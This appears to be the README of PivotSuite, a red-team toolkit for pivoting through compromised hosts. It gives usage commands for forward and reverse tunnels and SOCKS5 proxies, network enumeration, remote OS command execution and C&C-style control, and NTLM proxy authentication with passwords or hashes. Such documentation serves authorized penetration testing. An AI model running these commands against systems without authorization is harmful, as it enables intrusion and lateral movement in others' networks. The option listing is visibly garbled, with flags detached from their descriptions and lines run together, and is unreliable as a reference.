PivotSuite is a portable, platform independent and powerful network pivoting toolkit, Which helps Red Teamers / Penetration Testers to use a compromised system to move around inside a network. It is a Standalone Utility, Which can use as a Server or as a Client.
PivotSuite as a Server :
If the compromised host is directly accessable (Forward Connection) from Our pentest machine, Then we can run pivotsuite as a server on compromised machine and access the different subnet hosts from our pentest machine, Which was only accessable from compromised machine.
PivotSuite as a Client :
If the compromised host is behind a Firewall / NAT and isn't directly accessable from our pentest machine, Then we can run pivotsuite as a server on pentest machine and pivotsuite as a client on compromised machine for creating a reverse tunnel (Reverse Connection). Using this we can reach different subnet hosts from our pentest machine, which was only accessable from compromised machine.
- Supported Forward & Reverse TCP Tunneling
- Supported Forward & Reverse socks5 Proxy Server
- UDP over TCP and TCP over TCP Protocol Supported
- Corporate Proxy Authentication (NTLM) Supported
- Inbuilt Network Enumeration Functionality, Eg. Host Discovery, Port Scanning, OS Command Execution
- PivotSuite allows to get access to different Compromised host and their network, simultaneously (Act as C&C Server)
- Single Pivoting, Double Pivoting and Multi-level pivoting can perform with help of PivotSuite.
- PivotSuite also works as SSH Dynamic Port Forwarding but in the Reverse Direction.
Advantage Over Other tools:
- Doesn't required admin/root access on Compromised host
- PivotSuite also works when Compromised host is behind a Firewall / NAT, When Only Reverse Connection is allowed.
- No dependency other than python standard libraries.
- No Installation Required
- UDP Port is accessable over TCP
- You can download the latest version of pivotsuite by cloning the Git repository or PyPI Package.
git clone https://github.com/RedTeamOperations/PivotSuite.gitPivotSuite works out of the box with Python version 2.7.x and 3.6.x on any platform.
pip install PivotSuite
- PivotSuite Standalone Executable Download from Github Release Section
https://github.com/RedTeamOperations/PivotSuite/releasesNo installation require, No python interpreter require
a. Only Python Standard Libraries are Required
b. Compatible for both Python 2.7.x & Python 3.6.x
c. Tested on Windows and Linux.
$ pivotsuite.py [options] SERVER-IP SERVER-PORT
--version show program's version number and exitPivotSuite Server Options:
-h, --help show this help message and exit
-S, --server Run PivotSuite as a Server
-C, --client Run PivotSuite as a Client
Server Listen/Connect IP address, Default 0.0.0.0
Server Listen/Connect Port, Default 7777
-F, --forward-connectionPivotSuite Client Options:
Forward Network Traffic
Use Server as Socks_Proxy(SP)/Port_Forward(PF),
Select Protocol For Port Forwarding TCP(T)/ UDP(U),
Remote Host IP for Port Forwarding
Remote Host Port for Port Forwarding
Reverse Network Traffic
-O SP/PF/NE, --option=SP/PF/NENTLM Proxy Authentication Options:
Use Client as Socks_Proxy(SP)/ Port_Forwarding(PF)/
Network_Enumeration(NE), Default SP
Use Local Port Forwarding
Use Remote Port Forwarding
-P T/U, --protocol=T/U
Select Protocol For Port Forwarding TCP(T)/ UDP(U),
Local IP For Port Forwarding
Local Port For Port Forwarding
Remote IP For Port Forwarding
Remote Port For Port Forwardi ng
IP address of NTLM proxy
Port of NTLM proxy
Username to authenticate with NTLM proxy
--domain=DOMAIN Domain to authenticate with NTLM proxy
Password to authenticate with NTLM proxy
--hashes=HASHES Hashes to authenticate with instead of password.
Format - LMHASH:NTHASH
Case 1 : (Forward TCP Tunneling)
IF the Compromised host is directly accessible from our pentest machine.
Then run PivotSuite as a server on the compromised machine as per our requirements:
a. Dynamic Port Forwarding (Socks5 Proxy Server) On Compromised machine:
$ python pivotsuite.py -S -F --server-option SP --server-ip IP --server-port PORT
b. Single Port Forwarding (TCP/UDP Relay) On Compromised machine :
$ python pivotsuite.py -S -F --server-option PF --network-protocol T/U --remote-ip IP --remote-port PORT
--server-ip IP (local-ip) --server-port PORT (local-port)
Case 2 : (Reverse TCP Tunneling)
IF the Compromised host is behind a Firewall / NAT and directly not accessible from our pentest machine.
Then run PivotSuite as a Server on pentest machine and PivotSuite as a Client on compromised machine.IF Corportate Proxy Authentication (NTLM) required for reverse connection on Compromised Host :
i. Run PivotSuite as a Sever On Pentest Machine :
$ python pivotsute.py -S -W
ii. Run PivotSuite as a Client on Compromise Machine as per our requirements:
a. Dynamic Port Forwarding (Socks5 Proxy Server) On Pentest Machine:
$ python pivotsuite.py -C -O SP --server-ip IP --server-port PORT
b. Local / Remote Port Forwarding On Pentest Machine:
$ python pivotsuite.py -C -O PF - L / -R (local or remote port forwarding) -P T/U --local-ip IP
--local-port PORT --remote-ip IP --remote-port PORT --server-ip IP --server-port PORT
c. Network Enumeration of Compromised Machine:
$ python pivotsuite.py -C -O NE --server-ip IP --server-port PORT
$ python pivotsuite.py -C -O SP --ntlm-proxy-ip IP --ntlm-proxy-port PORT --username USERNAME --password PASSWORD
--server-ip IP --server-port PORT